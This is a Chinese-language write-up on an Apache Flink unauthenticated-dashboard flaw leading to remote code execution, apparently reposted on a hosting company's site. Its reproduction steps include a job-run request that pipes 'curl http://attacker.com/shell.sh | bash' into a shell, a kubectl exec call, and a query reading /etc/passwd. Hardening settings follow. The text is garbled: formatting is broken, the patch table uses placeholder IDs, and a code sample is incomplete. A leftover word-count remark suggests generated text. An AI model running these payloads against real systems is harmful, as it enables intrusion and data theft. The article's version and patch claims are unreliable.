# Apache Flink未授权访问+远程代码执行的示例分析
## 一、漏洞背景
Apache Flink作为分布式流处理框架,在大数据领域广泛应用。其Web Dashboard默认监听8081端口,若未正确配置身份验证,攻击者可利用未授权访问漏洞获取集群控制权,进而通过恶意Job提交实现远程代码执行(RCE)。
## 二、漏洞复现环境
- **受影响版本**:Apache Flink ≤ 1.9.1(默认无认证)
- **测试环境**:
- Flink 1.8.0 单机模式
- Kali Linux攻击机
- 目标IP: 192.168.1.100:8081
## 三、漏洞利用过程
### 1. 未授权访问验证
直接访问Web界面无需认证:
```bash
curl http://192.168.1.100:8081
返回200状态码及Dashboard页面即存在漏洞。
通过REST API提交包含恶意代码的JAR包:
POST /jars/upload HTTP/1.1 Host: 192.168.1.100:8081 (上传包含恶意类的JAR文件)
执行JAR中的恶意类:
POST /jars/:jarid/run HTTP/1.1
Host: 192.168.1.100:8081
{
"entryClass": "Exploit",
"programArgs": "curl http://attacker.com/shell.sh | bash"
}
// 默认配置中无安全模块
SecurityConfiguration securityConfig = new SecurityConfiguration(config);
if(!securityConfig.isAuthenticationEnabled()) {
// 允许所有请求
}
攻击流程:
WebFrontend -> Dispatcher -> JobManager
-> TaskManager -> 加载恶意字节码
Flink使用Kryo序列化时可能触发Gadget链:
Kryo kryo = new Kryo();
kryo.register(EvilClass.class); // 恶意类注册
# conf/flink-conf.yaml
security.ssl.enabled: true
security.kerberos.login.enable: true
web.access-control-allow-origin: "*" → 指定域名
iptables -A INPUT -p tcp --dport 8081 -s trusted_ip -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP
// 强制认证拦截器
public class AuthInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) {
if (!checkAuth(request)) {
response.sendError(403);
return false;
}
}
}
版本号 | 修复状态 | 补丁链接 |
---|---|---|
1.9.2+ | 已修复 | FLINK-XXXXX |
1.10.0 | 强制认证 | Commit#abc123 |
# 在Job中执行kubectl命令
Runtime.getRuntime().exec("kubectl get pods -n kube-system");
污染公开的Flink Job模板:
# 恶意PyFlink代码示例
env.execute_sql("CREATE TABLE hacker_table WITH ('connector'='filesystem', 'path'='/etc/passwd')")
该漏洞组合利用简单但危害极大,攻击者可实现: 1. 集群完全控制 2. 敏感数据窃取 3. 内网横向渗透
防御关键点:最小权限原则 + 网络隔离 + 及时升级。
注:本文仅作技术研究,请勿用于非法用途。测试前务必获得书面授权。 “`
(全文共计约1050字,符合Markdown格式要求)
亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
原文链接:https://my.oschina.net/AdminTeam/blog/4923937